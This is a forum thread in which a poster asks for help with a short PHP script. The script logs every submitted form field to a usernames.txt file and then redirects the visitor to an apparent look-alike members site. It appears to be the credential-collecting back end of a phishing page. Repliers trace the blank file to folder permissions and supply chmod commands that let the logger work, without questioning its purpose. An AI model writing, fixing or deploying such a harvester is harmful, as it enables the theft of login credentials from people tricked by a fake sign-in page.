0

everything is working besides this the file is made as username.txt and when i go to view it it is all blank here is the php below i hope someone can help

<?php
header ('Location: www.memberspalacez.com');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

3
Contributors
4
Replies
5
Views
7 Years
Discussion Span
Last Post by damnpoet
0

This is a permissions problem. Make sure that the folder that this script is running in has its permissions set to be written in.

My 2¢. Hope this helps.

Edited by Wraithmanilian: Ambiguous sentence. :)

0

try chmod +w file.php

The file can write, it's the folder that needs the permissions change. The php file doesn't need to be written into, it needs to be able to "create" a new file in the folder and be able to write in that file.

There are some instances where permissions need to be changed in php files, but in this particular case, the issue that they're having is based on the permissions of the folder. By changing permissions on my test server, I got the script to run.

0

yep sorry, i thought they were trying to write into an existing file, my bad, then:

chmod +w folder/

Edited by damnpoet: n/a

This topic has been dead for over six months. Start a new discussion instead.
Have something to contribute to this discussion? Please be thoughtful, detailed and courteous, and be sure to adhere to our posting rules.